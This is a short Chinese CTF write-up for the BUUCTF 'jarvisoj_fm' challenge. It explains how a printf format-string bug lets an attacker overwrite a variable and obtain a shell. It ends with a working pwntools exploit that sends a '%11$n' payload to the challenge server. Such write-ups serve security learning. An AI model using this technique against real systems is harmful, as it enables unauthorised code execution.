[buuctf]jarvisoj_fm 1
首先看一下文件的基本信息

再用ida打开看一看,这里就直接看main函数,发现当x==4时就直接得到shell了,所以思路就是对x的值进行修改,这里的printf可以看出来有格式化字符串漏洞,可以用来修改x的值

直接运行一下程序,找到输入参数在函数上的位置

可以看到偏移量是11
然后再找到x的地址

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",26182)
x_addr=0x804A02C
payload=p32(x_addr)+b"%11$n"
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号